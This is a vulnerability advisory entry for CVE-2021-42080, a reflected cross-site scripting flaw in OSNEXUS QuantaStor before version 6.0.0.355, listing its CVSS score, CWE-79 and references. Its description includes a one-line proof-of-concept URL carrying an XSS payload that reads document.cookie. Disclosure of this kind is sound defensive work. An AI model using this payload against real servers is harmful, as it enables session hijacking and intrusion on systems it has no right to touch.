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CVE-2021-42080

nvd nist
Published: Jul 10, 2023Modified: Sep 22, 2025

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7.4
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Exploitability: 2.8 / Impact: 4.0
Source: NVD

Description

An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

Affected (1)

Products: Osnexus: Quantastor
Osnexus
1 product
Quantastor
Configuration A
1 vulnerable
Vulnerable SoftwareAffected Versions
Quantastor
Before 6.0.0.355

Related CWEs

CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

References (8)

Source: csirt@divd.nl
Third Party Advisory
Source: csirt@divd.nl
Source: csirt@divd.nl
Product
Source: csirt@divd.nl
Third Party Advisory
Source: af854a3a-2127-422b-91ae-364da2661108
Third Party Advisory
Source: af854a3a-2127-422b-91ae-364da2661108
Source: af854a3a-2127-422b-91ae-364da2661108
Product
Source: af854a3a-2127-422b-91ae-364da2661108
Third Party Advisory

Timeline

No history available yet.